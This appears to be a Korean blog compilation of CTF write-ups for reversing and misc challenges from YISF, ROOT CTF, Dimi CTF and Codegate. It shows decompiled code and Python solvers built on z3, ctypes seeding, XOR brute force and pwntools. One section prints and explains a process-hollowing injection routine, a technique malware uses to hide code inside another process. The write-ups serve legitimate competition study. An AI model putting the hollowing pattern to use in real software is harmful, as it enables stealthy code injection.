  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  dest = malloc(0x40uLL);
  if ( !strncmp((a1 + 6), "YISF", 4uLL) )
  {
    puts("\nHmm...?\n");
    if ( !strncmp((a1 + 11), "TOP_SECRET", 0xAuLL) )
    {
      puts("Please enter your ID and Password...\n");
      printf("ID : ", "TOP_SECRET", a2);
      fgets(s, 64, stdin);
      printf("PW : ", 64LL);
      fgets(v12, 64, stdin);
      strcpy(dest, v12);
      if ( strncmp(s, aTheWorldBestPr, 0x19uLL) || strncmp(v12, aQwe123, 6uLL) )
      {
        puts("\nYou don't have permission!!\n");
        exit(0);
      }
      puts("\nsuccess!!\n");
      ++dword_20240C;
    }
    else
    {
      puts("Invalid Directory Name\n");
    }
  }
  else
  {
    puts("Ivalid Directory Name\n");
  }
  return dest;
}

FLAG : YISF{5252~~_I_6eliev3d!!!}


Reversing 100

어차피 마지막에 플래그 출력해줄 것 같았다.

FLAG 출력해줄 인코딩된 테이블을 가져와서 XOR Brute Force Attack 했더니 플래그가 나왔다.

a=[0xc8,0xd8,0xc2,0xd7,0xea,0xa5,0xe3,0xf4,0xce,0xc8,0xa1,0xe4,0xce,0xf0,0xce,0xd2,0xf9,0xa2,0xf0,0xa6,0xf4,0xe3,0xae,0xae,0xec]
print ''.join(chr(i^145) for i in a)

FLAG : YISF{4re_Y0u_a_Ch3a7er??}


Misc 50

Introduce 들어가서 보면 된다.

확인을 누르면 alert 띄워서FLAG 준다.

FLAG : YISF{G00D_LUCK_3V3RY01V3}


Misc 100

주어진 nc로 들어가게되면 아래처럼 직선방정식으로 삼각형 넓이를 구하라고 x,y 값을 준다.

x,y값을 구한후 일명 신발끈 공식을 이용해 삼각형의 넓이를 구했다.

참고 : 신발끈 공식

from z3 import *
from pwn import *
p = remote('218.158.141.199',24763)
s = Solver()
x = [Int('x%i'%i)for i in range(12,130)]
y = [Int('y%i'%i)for i in range(12,130)]
x1 = [Int('x1%i'%i)for i in range(12,130)]
y1 = [Int('y1%i'%i)for i in range(12,130)]
x2 = [Int('x2%i'%i)for i in range(12,130)]
y2 = [Int('y2%i'%i)for i in range(12,130)]
p.recvuntil('<Quiz Start>\n')
for i in range(100):
print "[*]"+str(i)
li = []
print p.recvuntil('Step : ' + str(i+1) + "\n\n")
a = p.recvline()
print a
tmp1 = a.split(' ')
b = p.recvline()
print b
tmp2 = b.split(' ')
c = p.recvline()
print c
tmp3 = c.split(' ')
s.add(int(tmp1[0]) * x[12+i] + int(tmp1[3]) * y[12+i] == int(tmp1[6].replace("\n","")))
s.add(int(tmp2[0]) * x[12+i] + int(tmp2[3]) * y[12+i] == int(tmp2[6].replace("\n","")))
s.check()
m = s.model()
li.append(int(str(m.evaluate(x[i+12]))))
li.append(int(str(m.evaluate(y[i+12]))))
s.add(int(tmp1[0]) * x1[12+i] + int(tmp1[3]) * y1[12+i] == int(tmp1[6].replace("\n","")))
s.add(int(tmp3[0]) * x1[12+i] + int(tmp3[3]) * y1[12+i] == int(tmp3[6].replace("\n","")))
s.check()
m = s.model()
li.append(int(str(m.evaluate(x1[i+12]))))
li.append(int(str(m.evaluate(y1[i+12]))))
s.add(int(tmp2[0]) * x2[12+i] + int(tmp2[3]) * y2[12+i] == int(tmp2[6].replace("\n","")))
s.add(int(tmp3[0]) * x2[12+i] + int(tmp3[3]) * y2[12+i] == int(tmp3[6].replace("\n","")))
s.check()
m = s.model()
li.append(int(str(m.evaluate(x2[i+12]))))
li.append(int(str(m.evaluate(y2[i+12]))))
print li
payload=(abs((li[0]*li[3]+li[2]*li[5]+li[4]*li[1]) - (li[2]*li[1]+li[4]*li[3]+li[0]*li[5])))*0.5
print payload
p.sendlineafter('Input :',str(payload))
p.interactive()

좀 코드가 더럽긴한데.. 자꾸 11번째에서 오류나길래 인덱스 12부터 시작해줬더니 오류가 안나고 풀렸다.

FLAG : YISF{Mathematical_ability_i5_n0t_ru5ty}


Misc 150

주어진 nc 서버를 들어가면 딕셔너리를 주어서 만들 수 있는 경우를 브루트포스해서 문자를 만들어서 보내면 된다.

근데 딕셔너리가 문자로 주어져서 ast 모듈을 사용해서 풀었다.

from pwn import *
from ast import literal_eval
p = remote('218.158.141.182',52387)
for i in range(100):
payload=""
print p.recvuntil('Step : ' + str(i+1) + "\n\n")
text = p.recvline()
text = list(text)
del(text[-1])
heigth = p.recvline()
table = p.recvline()
table = table[9:]
dictionary = literal_eval(table)
value = list(dictionary.keys())
while len(text) != 0:
for i in range(1,5):
tmp = text[:i]
tmp2 = ''.join(i for i in tmp)
for j in range(5):
if tmp2 == dictionary[value[j]]:
payload += value[j]
del text[:i]
print payload
p.sendline(payload)
p.interactive()

FLAG : YISF{Y0u_make_table_WeLL}

'CTF WriteUp' 카테고리의 다른 글

2019 20th Hackingcamp CTF Writeup  (0) 2019.09.01
2019 Inc0gnito CTF Writeup  (0) 2019.08.27
2018 ROOT CTF Reversing Writeup  (0) 2019.08.04
2017 Dimi CTF Final warmup  (0) 2019.08.04
2017 Dimi CTF Final TooEasy  (0) 2019.08.04

ROOT_Process_1

int sub_EA1860()
{
  int v0; // edx
  int v1; // ecx
  int v2; // edx
  int v3; // ecx
  int v4; // edx
  int v5; // ecx
  int v6; // edx
  int v7; // ecx
  int v8; // edx
  int v9; // ecx
  int v10; // edx
  int v11; // ecx
  int v12; // edx
  int v13; // ecx
  int v14; // edx
  int v15; // ecx
  int v16; // edx
  int v17; // edx
  int v18; // ecx
  int v19; // ST08_4
  DWORD v21; // [esp+250h] [ebp-448h]
  HWND hWnd; // [esp+25Ch] [ebp-43Ch]
  int j; // [esp+268h] [ebp-430h]
  CHAR *v24; // [esp+274h] [ebp-424h]
  unsigned int i; // [esp+280h] [ebp-418h]
  BOOL v26; // [esp+28Ch] [ebp-40Ch]
  PROCESSENTRY32 pe; // [esp+298h] [ebp-400h]
  char Dst[280]; // [esp+3C8h] [ebp-2D0h]
  size_t v29; // [esp+4E0h] [ebp-1B8h]
  int v30; // [esp+4ECh] [ebp-1ACh]
  int v31; // [esp+4F8h] [ebp-1A0h]
  int v32; // [esp+504h] [ebp-194h]
  DWORD dwProcessId; // [esp+510h] [ebp-188h]
  HANDLE hSnapshot; // [esp+528h] [ebp-170h]
  int v35; // [esp+640h] [ebp-58h]
  int v36; // [esp+644h] [ebp-54h]
  int v37; // [esp+648h] [ebp-50h]
  int v38; // [esp+64Ch] [ebp-4Ch]
  int v39; // [esp+650h] [ebp-48h]
  int v40; // [esp+654h] [ebp-44h]
  int v41; // [esp+658h] [ebp-40h]
  int v42; // [esp+65Ch] [ebp-3Ch]
  int v43; // [esp+660h] [ebp-38h]
  int v44; // [esp+664h] [ebp-34h]
  int v45; // [esp+668h] [ebp-30h]
  int v46; // [esp+66Ch] [ebp-2Ch]
  int v47; // [esp+670h] [ebp-28h]
  int v48; // [esp+674h] [ebp-24h]
  int v49; // [esp+678h] [ebp-20h]
  int v50; // [esp+67Ch] [ebp-1Ch]
  int v51; // [esp+680h] [ebp-18h]
  int v52; // [esp+684h] [ebp-14h]
  int v53; // [esp+688h] [ebp-10h]
  int v54; // [esp+68Ch] [ebp-Ch]
  int v55; // [esp+694h] [ebp-4h]
  int savedregs; // [esp+698h] [ebp+0h]

  sub_EA1235(&unk_EAC017);
  system("title Very_easy_Reversing!");
  sub_EA123F(v1, v0);
  v35 = 31;
  v36 = 41;
  v37 = 66;
  v38 = 15;
  v39 = 58;
  v40 = 50;
  v41 = 40;
  v42 = 29;
  v43 = 23;
  v44 = 49;
  v45 = 19;
  v46 = 21;
  v47 = 71;
  v48 = 87;
  v49 = 65;
  v50 = 69;
  v51 = 71;
  v52 = 11;
  v53 = 31;
  v54 = 68;
  hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);
  GetCurrentProcessId();
  dwProcessId = sub_EA123F(v3, v2);
  GetCurrentThread();
  v32 = sub_EA123F(v5, v4);
  OpenProcess(0x2000000u, 1, dwProcessId);
  v31 = sub_EA123F(v7, v6);
  GetCurrentProcessId();
  v30 = sub_EA123F(v9, v8);
  j_memset(Dst, 0, 0x104u);
  if ( hSnapshot )
  {
    pe.dwSize = 296;
    v26 = j_Process32First(hSnapshot, &pe);
    while ( v26 )
    {
      v26 = j_Process32Next(hSnapshot, &pe);
      v29 = j_strlen(pe.szExeFile);
      for ( i = 0; i < 0x14; ++i )
        pe.szExeFile[i] ^= *(&v35 + 4 * i);
      j_memset(Dst, 0, 4u);
      v24 = pe.szExeFile;
      for ( j = 0; j < 20; ++j )
        Dst[j] = v24[j];
      FindWindowA(0, Dst);
      hWnd = sub_EA123F(v11, v10);
      if ( hWnd )
      {
        GetWindowThreadProcessId(hWnd, &v21);
        sub_EA123F(v13, v12);
        if ( v21 == v30 )
        {
          sub_EA104B("Correct\n");
          system("pause");
          sub_EA123F(v15, v14);
          goto LABEL_15;
        }
      }
    }
  }
  system("pause");
  sub_EA123F(v18, v17);
LABEL_15:
  sub_EA1262(&savedregs, &dword_EA1B9C, 0, v16);
  return sub_EA123F(&savedregs ^ v55, v19);
}

중간에 보면 0x14길이 만큼 테이블값과 xor해주는 연산이 있다.

프로세스 이름과 *(&v35 + 4 * i)이 xor해준다.

table=[0x1f,0x29,0x42,0xf,0x3a,0x32,0x28,0x1d,0x17,0x31,0x13,0x15,0x47,0x57,0x41,0x45,0x47,0xb,0x1f,0x44]
process = "Very_easy_Reversing!"
print ''.join(chr(table[i]^ord(process[i])) for i in range(20))

FLAG : IL0veWInnnAp1236.exe


ROOT_Process_2

위에 변수가 9195개 선언되어있는데 생략했다.

너무 커서 헥스레이가 안돌아가는데 hexrays.cfg를 고쳐서 10000넘게 고쳐주면 헥스레이로 볼 수 있다.

  memset(&Dst, 0, 0x44u);
  ProcessHandle = 0;
  ThreadHandle = 0;
  v11 = 0;
  v12 = 0;
  Context.ContextFlags = 65543;
  sub_401020("input : ", savedregs);
  v9199 = &v14;
  sub_401050("%[^\n]s", &v14);
  GetModuleFileNameA(0, &Filename, 0x104u);
  CreateProcessA(&Filename, 0, 0, 0, 0, 4u, 0, 0, &Dst, &ProcessHandle);
  lpAddress = VirtualAlloc(0, 0x240Au, 0x3000u, 4u);
  v9198 = &Src;
  v9197 = lpAddress;
  memcpy(lpAddress, &Src, 0x2400u);
  if ( *lpAddress == 23117 )
  {
    v6 = lpAddress + lpAddress[15];
    NtGetContextThread(ThreadHandle, &Context);
    NtReadVirtualMemory(ProcessHandle, (Context.Ebx + 8), &Buffer, 4u, 0);
    if ( Buffer == *(v6 + 52) )
      NtUnmapViewOfSection(ProcessHandle, Buffer);
    v9199 = 64;
    v9198 = 12288;
    v9197 = *(v6 + 80);
    v9196 = *(v6 + 52);
    BaseAddress = VirtualAllocEx(ProcessHandle, v9196, v9197, 0x3000u, 0x40u);
    if ( BaseAddress )
    {
      v9199 = 0;
      NtWriteVirtualMemory(ProcessHandle, BaseAddress, lpAddress, *(v6 + 84), 0);
      for ( i = 0; i < *(v6 + 6); ++i )
      {
        v2 = (&lpAddress[10 * i + 62] + lpAddress[15]);
        v9199 = 0;
        NtWriteVirtualMemory(ProcessHandle, &BaseAddress[v2[3]], lpAddress + v2[5], v2[4], 0);
      }
      Context.Eax = &BaseAddress[*(v6 + 40)];
      NtWriteVirtualMemory(ProcessHandle, (Context.Ebx + 8), (v6 + 52), 4u, 0);
      NtSetContextThread(ThreadHandle, &Context);
      NtResumeThread(ThreadHandle, 0);
      NtWaitForSingleObject(ProcessHandle, 0, 0);
      NtClose(ThreadHandle);
      NtClose(ProcessHandle);
      VirtualFree(lpAddress, 0, 0x8000u);
      result = 0;
    }
    else
    {
      NtTerminateProcess(ProcessHandle, 1);
      result = -1;
    }
  }
  else
  {
    NtTerminateProcess(ProcessHandle, 1);
    result = 1;
  }
  return result;
}

Codegate Open CTF에서도 나온 Process Hollowing 기법이다.

아래 처럼 동작한다. 나는 동적 디버깅해서 win32_remote.exe가 뜨는건데 그 밑에 ROOT_Process2.exe 보면 된다.

Process를 하나 생성해주니까 대충 생성되어 쓴 곳에서 브레이크 걸고 그때 프로세스 pid 가져와서 메모리 덤프 떠주면 된다.

그러면 그 덤프뜬 파일을 보면 제대로 덤프를 떠졌다.

signed int __cdecl sub_401000(int a1, int a2)
{
  signed int result; // eax
  int v3; // edi
  int v4; // esi
  char v5; // bl
  char v6; // al
  int v7; // esi
  int v8; // eax
  int v9; // edx
  char v10[260]; // [esp+4h] [ebp-11Ch]
  __int128 v11; // [esp+108h] [ebp-18h]
  int v12; // [esp+118h] [ebp-8h]
  char v13; // [esp+11Ch] [ebp-4h]
  const char **v14; // [esp+128h] [ebp+8h]

  srand(1u);
  v12 = 139343166;
  v13 = 123;
  v11 = xmmword_402130;
  if ( a1 == 1 )
  {
    MessageBoxA(0, "Incorrect", "ROOTCTF", 0);
    result = -1;
  }
  else
  {
    v3 = a1 - 1;
    v4 = 0;
    if ( a1 - 1 > 0 )
    {
      v14 = (a2 + 4);
      do
      {
        v5 = rand() % 127;
        v6 = atoi(*v14);
        ++v14;
        v10[v4++] = v5 ^ v6;
      }
      while ( v4 < v3 );
    }
    v7 = 0;
    v8 = 0;
    if ( v3 <= 0 )
      goto LABEL_15;
    do
    {
      v9 = v7 + 1;
      if ( v10[v8] != *(&v11 + v8) )
        v9 = v7;
      ++v8;
      v7 = v9;
    }
    while ( v8 < v3 );
    if ( v9 != 21 )
    {
LABEL_15:
      MessageBoxA(0, "Incorrect", "ROOTCTF", 0);
      result = 0;
    }
    else
    {
      MessageBoxA(0, "Correct", "ROOTCTF", 0);
      result = 0;
    }
  }
  return result;
}

srand(1)이고 rand() % 127 값과 테이블이 xor 연산을 하는 것을 알 수 있다. 쉽게 역연산해서 구할 수 있다.

from ctypes import *
xmmword_402130 = [0x6f,0x78,0x2e,0x13,0x0c,0x35,0x00,0x7a,0x72,0x0f,0x44,0x20,0x62,0x5a,0x54,0x2e,0x3e,0x35,0x4e,0x08,0x7b]

libc = CDLL('msvcrt')
libc.srand(1)
flag = []
for i in range(len(xmmword_402130)):
	flag.append(xmmword_402130[i]^(libc.rand()%127))
print ''.join(chr(flag[i]) for i in range(len(xmmword_402130)))

FLAG : FLAG{R0oT_1nJec@t1On}

64bit 바이너리 warmup과 flag.enc가 주어졌다.

$ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=387ae1f78e1eda40583739245d91ad9ce53a9442, stripped

flag.enc 파일은 뭔가 인코딩 되어 있는듯 알 수 없이 되어있었다.

우선 메인을 보게 되면 입력받은 값을 각종 연산을 하고 flag.enc에 한 글자씩 써 넣는다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  int v4; // eax
  unsigned int v5; // eax
  size_t v6; // rbx
  unsigned int ptr; // [rsp+Ch] [rbp-54h]
  int i; // [rsp+10h] [rbp-50h]
  unsigned int v10; // [rsp+14h] [rbp-4Ch]
  FILE *s; // [rsp+18h] [rbp-48h]
  char v12[8]; // [rsp+20h] [rbp-40h]
  __int64 v13; // [rsp+28h] [rbp-38h]
  __int64 v14; // [rsp+30h] [rbp-30h]
  __int64 v15; // [rsp+38h] [rbp-28h]
  __int64 v16; // [rsp+40h] [rbp-20h]
  unsigned __int64 v17; // [rsp+48h] [rbp-18h]

  v17 = __readfsqword(0x28u);
  *(_QWORD *)v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  printf("INPUT: ", a2, a3);
  __isoc99_scanf("%20s", v12);
  v3 = time(0LL);
  srand(v3);
  s = fopen("flag.enc", "wb");
  for ( i = 0; ; ++i )
  {
    v6 = i;
    if ( v6 >= strlen(v12) )
      break;
    v4 = rand();
    v10 = (unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned int)(v4 >> 31) >> 24);
    v5 = (unsigned int)((signed int)(255 - (v10 & v12[i])) >> 31) >> 24;
    ptr = (v10 | v12[i]) & ((unsigned __int8)(v5 + -1 - (v10 & v12[i])) - v5);
    fwrite(&ptr, 1uLL, 1uLL, s);
  }
  fclose(s);
  return 0LL;
}

근데 여기서 문제는 여기서부터였다. 조금 게싱이 필요한 문제이다. 이 flag.enc 파일이 생성된 날짜가 필요했다.

위에 보면 v3 = time(0) 그리고 이 v3를 srand() 값으로 넣어주고 밑에 이 시드를 이용해 rand() 함수를 사용한다.

일단 time(0)를 하게되면 어떤 일이 일어나냐면 1970년 1월 1일 00:00:00 UTC 부터 현재까지의 경과 시간을 초로 리턴해준다.

-> 참고 : 유닉스 시간

그래서 1970년 1월 1일 00:00:00 UTC 부터 이 flag.enc 인코딩된 시간인 2017 7월 19일 9시 57분 27초까지 경과된 초를 가져와서 srand() 넣어주면 된다. 나는 유닉스 계산기를 이용해서 시간을 구했다.

자 이제 flag.enc가 생성된 날짜의 time(0)를 구했고 이제 1500425847 을 시드 값으로 넣어주고 rand()를 이용해서 막 엄청난 연산을 한다 :) 이제 인코딩된 문자들의 값을 구해주고 쉽게 풀 수 있다.

#!/usr/bin/python
# -*- coding: iso-8859-15 -*-

from ctypes import *
from z3 import *
import string

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1500425847)
table=[0xAD,0xE4,0xAE,0x8D,0xA9,0x63,0xE0,0x48,0x79,0x34,0x10,0x1A,0xF4,0x51,0x2B,0xD3,0xCE,0x3C,0x98]

s = Solver()
a1 = [BitVec('a%i'%i,8)for i in range(len(table))]
for i in range(len(table)):
	random = libc.rand()
	shift_rand = (((random >> 31) >> 24) + random) - ((random >> 31) >> 24)
	s.add((shift_rand | a1[i]) & (((((255 - (shift_rand & a1[i])) >> 31) >> 24) + -1 - (shift_rand & a1[i])) - (((255 - (shift_rand & a1[i])) >> 31) >> 24)) == table[i])

print s.check()
print s.model()
m = s.model()
print ''.join(chr(int(str((m.evaluate(a1[i]))))) for i in range(len(table)))

FLAG : dimigo{Warming_up!}

시드값 정해주고 랜덤 값 가져와서 어떠한 연산을 한 뒤에 마지막에는 저장되어 있는 값과 비교 연산을 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST10_1
  unsigned int v4; // esi
  int v5; // ecx
  char v6; // ST20_1
  char Str2[16]; // [esp+8h] [ebp-204h]
  __int128 v9; // [esp+18h] [ebp-1F4h]
  char v10; // [esp+28h] [ebp-1E4h]
  char v11; // [esp+29h] [ebp-1E3h]
  char Dst[256]; // [esp+108h] [ebp-104h]
  char v13[256]; // [esp+109h] [ebp-103h]

  memset(Dst, 0, 0xFFu);
  *(_OWORD *)Str2 = xmmword_402160;
  v9 = xmmword_402150;
  v10 = -114;
  memset(&v11, 0, 0xDEu);
  ((void (__cdecl *)(const char *, char))sub_401020)("Password: ", v3);
  sub_401050("%36s", (unsigned int)Dst);
  srand(0x3FD1CC7u);
  v4 = 0;
  if ( &Dst[strlen(Dst) + 1] != v13 )
  {
    do
    {
      v5 = rand() % 256;
      v6 = (v5 | Dst[v4]) & ~(v5 & Dst[v4]);
      Dst[v4] = v6;
      sub_401020("%d, ", v6);
      ++v4;
    }
    while ( v4 < strlen(Dst) );
  }
  if ( !strncmp(Dst, Str2, 0x21u) )
    sub_401020("\nCorrect\n");
  else
    sub_401020("\nWrong\n");
  return 0;
}

ctypes로 윈도우 라이브러리 불러와서 시드값 66919623 넣어주고 rand() 돌려서 브루트 포스 해줬다.

from ctypes import *

CDLL = CDLL('msvcrt')
CDLL.srand(66919623)
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]

flag =""
for i in range(len(table)):
	tmp = CDLL.rand() % 256
	for j in range(256):
		if ((tmp | j) & ~(tmp &j)) == table[i]:
			flag += chr(j)
print flag

이번에도 msvcrt 라이브러리에서 rand값만 가져와서 Solver를 이용해서 풀었다.

from ctypes import *
from z3 import *

CDLL = CDLL('msvcrt')
CDLL.srand(66919623)
s = Solver()
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]
rand_table=[]
for i in range(len(table)):
	rand_table.append(CDLL.rand() % 256)
a1 = [BitVec('a%i'%i,8)for i in range(len(table))]
for i in range(len(table)):
	s.add((rand_table[i] | a1[i]) & ~(rand_table[i] & a1[i]) == table[i])
print s.check()
m = s.model()
print ''.join(chr(int(str(m.evaluate(a1[i])))) for i in range(len(table)))

FLAG : dimigo{warmup?_nooo_coldup_isit?}

'CTF WriteUp' 카테고리의 다른 글

2018 ROOT CTF Reversing Writeup  (0) 2019.08.04
2017 Dimi CTF Final warmup  (0) 2019.08.04
2017 Dimi CTF Prequal WhatIsTheEnd  (0) 2019.08.04
2019 Codegate open CTF Writeup  (0) 2019.08.04
2019 Dimi CTF Prequal Writeup  (0) 2019.08.04


메인을 보면 33글자를 입력받을 받는다. 그리고 어떠한 연산을 하고 맞는지 비교해준다.

int __cdecl main(int a1)
{
  int v2; // [esp-Ah] [ebp-70h]
  int v3; // [esp-6h] [ebp-6Ch]
  int v4; // [esp-2h] [ebp-68h]
  char v5; // [esp+1h] [ebp-65h]
  signed int i; // [esp+2h] [ebp-64h]
  signed int j; // [esp+2h] [ebp-64h]
  char v8; // [esp+6h] [ebp-60h]
  char v9; // [esp+7h] [ebp-5Fh]
  char v10; // [esp+8h] [ebp-5Eh]
  char v11; // [esp+9h] [ebp-5Dh]
  char v12; // [esp+Ah] [ebp-5Ch]
  char v13; // [esp+Bh] [ebp-5Bh]
  char v14; // [esp+Ch] [ebp-5Ah]
  char v15; // [esp+Dh] [ebp-59h]
  char v16; // [esp+Eh] [ebp-58h]
  char v17; // [esp+Fh] [ebp-57h]
  char v18; // [esp+10h] [ebp-56h]
  char v19; // [esp+11h] [ebp-55h]
  char v20; // [esp+12h] [ebp-54h]
  char v21; // [esp+13h] [ebp-53h]
  char v22; // [esp+14h] [ebp-52h]
  char v23; // [esp+15h] [ebp-51h]
  char v24; // [esp+16h] [ebp-50h]
  char v25; // [esp+17h] [ebp-4Fh]
  char v26; // [esp+18h] [ebp-4Eh]
  char v27; // [esp+19h] [ebp-4Dh]
  char v28; // [esp+1Ah] [ebp-4Ch]
  char v29; // [esp+1Bh] [ebp-4Bh]
  char v30; // [esp+1Ch] [ebp-4Ah]
  char v31; // [esp+1Dh] [ebp-49h]
  char v32; // [esp+1Eh] [ebp-48h]
  char v33; // [esp+1Fh] [ebp-47h]
  char v34; // [esp+20h] [ebp-46h]
  char v35; // [esp+21h] [ebp-45h]
  char v36; // [esp+22h] [ebp-44h]
  char v37; // [esp+23h] [ebp-43h]
  char v38; // [esp+24h] [ebp-42h]
  char v39; // [esp+25h] [ebp-41h]
  __int16 v40; // [esp+26h] [ebp-40h]
  int v41; // [esp+28h] [ebp-3Eh]
  __int16 v42; // [esp+2Ch] [ebp-3Ah]
  int v43; // [esp+2Eh] [ebp-38h]
  int v44; // [esp+32h] [ebp-34h]
  int v45; // [esp+36h] [ebp-30h]
  int v46; // [esp+3Ah] [ebp-2Ch]
  int v47; // [esp+3Eh] [ebp-28h]
  int v48; // [esp+42h] [ebp-24h]
  int v49; // [esp+46h] [ebp-20h]
  unsigned int v50; // [esp+4Ah] [ebp-1Ch]
  int v51; // [esp+4Eh] [ebp-18h]
  int v52; // [esp+52h] [ebp-14h]
  int v53; // [esp+56h] [ebp-10h]
  int *v54; // [esp+5Ah] [ebp-Ch]

  v54 = &a1;
  v50 = __readgsdword(0x14u);
  v40 = 0;
  v8 = 172;
  v9 = 171;
  v10 = 30;
  v11 = 44;
  v12 = 166;
  v13 = 161;
  v14 = 156;
  v15 = 232;
  v16 = 255;
  v17 = 97;
  v18 = 9;
  v19 = 83;
  v20 = 37;
  v21 = 20;
  v22 = 130;
  v23 = 60;
  v24 = 165;
  v25 = 145;
  v26 = 165;
  v27 = 219;
  v28 = 233;
  v29 = 4;
  v30 = 96;
  v31 = 224;
  v32 = 26;
  v33 = 110;
  v34 = 97;
  v35 = 65;
  v36 = 183;
  v37 = 79;
  v38 = 83;
  v39 = 205;
  LOBYTE(v40) = 27;
  v41 = 0;
  v49 = 0;
  memset((&v42 & 0xFFFFFFFC), 0, 4 * (((&v41 - (&v42 & 0xFFFFFFFC) + 34) & 0xFFFFFFFC) >> 2));
  printf("INPUT: ");
  __isoc99_scanf(
    "%33s",
    &v41,
    v2,
    v3,
    v4,
    0,
    *&v8,
    *&v12,
    *&v16,
    *&v20,
    *&v24,
    *&v28,
    *&v32,
    *&v36,
    *&v40,
    *(&v41 + 2),
    v43,
    v44,
    v45,
    v46,
    v47,
    v48,
    v49);
  v53 = 0;
  v52 = 1;
  v51 = 0;
  v5 = ptrace(0, 0, 1, 0);
  for ( i = 0; i <= 32; ++i )
    *(&v41 + i) ^= v5 ^ rand();
  for ( j = 0; j <= 32; ++j )
  {
    if ( (*(&v8 + j) ^ *(&v41 + j)) != *(&v41 + j + 1) )
    {
      puts("Nope!");
      return -1;
    }
  }
  puts("Correct!");
  return 0;
}

여기서는 v8[i] ^ input[i] ^ rand[i] == input[i+1] ^ rand[i+1] 이러한 연산을 하고 있는데 우선 v8은 고정 값이고 rand()는 시드 값이 없으니까 그냥 긁어오면 된다.

ptrace는 디버깅중이 아니니까 0을 리턴하니까 xor연산해도 같은 값이 나오니까 무시해도 된다. 디버깅 중이면 -1을 리턴한다.

나는 라이브러리를 불러와서 rand값을 다 구하고 z3 이용해서 풀었다.

from ctypes import CDLL
from z3 import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
rand_table = []
table = [172,171,30,44,166,161,156,232,255,97,9,83,37,20,130,60,165,145,165,219,233,4,96,224,26,110,97,65,183,79,83,205,27]
for i in range(33):
        rand_table.append(libc.rand()%256)
s = Solver()
a1 = [BitVec('a%i'%i,8)for i in range(33)]
s.add(a1[0] == ord('d'))
s.add(a1[1] == ord('i'))
s.add(a1[2] == ord('m'))
s.add(a1[3] == ord('i'))
for i in range(32):
        s.add(table[i] ^  a1[i] ^ rand_table[i] == a1[i+1] ^ rand_table[i+1])

print s.check()
m = s.model()
print ''.join(chr(int(str((m.evaluate(a1[i]))))) for i in range(33))

FLAG : dimigo{Always_String_END_is_NULL}

'CTF WriteUp' 카테고리의 다른 글

2017 Dimi CTF Final warmup  (0) 2019.08.04
2017 Dimi CTF Final TooEasy  (0) 2019.08.04
2019 Codegate open CTF Writeup  (0) 2019.08.04
2019 Dimi CTF Prequal Writeup  (0) 2019.08.04
2019 Tamu CTF Writeup  (0) 2019.08.04

Reversing

seori

C++로 만들어진 프로그램이다.

int __cdecl sub_3011E0(int a1)
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // eax
  int v7; // ST0C_4
  int v8; // eax
  int v9; // eax
  int v10; // eax
  char v12; // [esp+4h] [ebp-1Ch]
  int v13; // [esp+8h] [ebp-18h]
  void *Dst; // [esp+14h] [ebp-Ch]
  DWORD v15; // [esp+18h] [ebp-8h]
  DWORD i; // [esp+1Ch] [ebp-4h]

  v1 = sub_301400(std::cout, "Hi FRIEND!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v1, sub_301740);
  v2 = sub_301400(std::cout, "I HAVE PRETTY CAT. DO YOU WANT TO SEE A CAT? ");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v2, sub_301740);
  v3 = sub_301400(std::cout, "UNFORTUNATELY THE CAT IS HIDING :( ");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_301740);
  v4 = sub_301400(std::cout, "FIND MY CAT!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_301740);
  sub_3010F0();
  v12 = sub_301080(a1);
  hModule = LoadLibraryW(L"Seori.exe");
  hResInfo = FindResourceW(hModule, 0x65, L"SEORI");
  v15 = SizeofResource(hModule, hResInfo);
  hResData = LoadResource(hModule, hResInfo);
  dword_305380 = LockResource(hResData);
  v13 = dword_305380;
  Dst = malloc((v15 + 1) | -__CFADD__(v15, 1));
  memset(Dst, 0, v15 + 1);
  for ( i = 0; i < v15; ++i )
    *(Dst + i) = v12 ^ *(i + v13);
  v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout, sub_301740);
  v6 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, -122569430);
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, v7);
  v8 = sub_301400(std::cout, "HAVE YOU SEEN MY CAT?");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v8, sub_301740);
  v9 = sub_301400(std::cout, "I THINK MY CAT IS REALLY CUTE.");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, sub_301740);
  v10 = sub_301400(std::cout, "I HOPE TO FIND MY CAT!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v10, sub_301740);
  return 0;
}

C++로 보기는건 아직 익숙치 않아서 어셈으로 보는게 훨씬 편했다.

이쪽 부분을 보게되면 ebp+var_4를 1씩 증가시키면서(증가 시키는 부분은 그래프 밑쪽에 있다..) ebp-8과 같을 때까지 밑에 연산을 한다. ebp-8 값은 98929 였다.

동적 디버깅해서 xor 이후 [eax]에 넣는 dl의 값을 보니 JPEG 헤더의 값이 보였다.

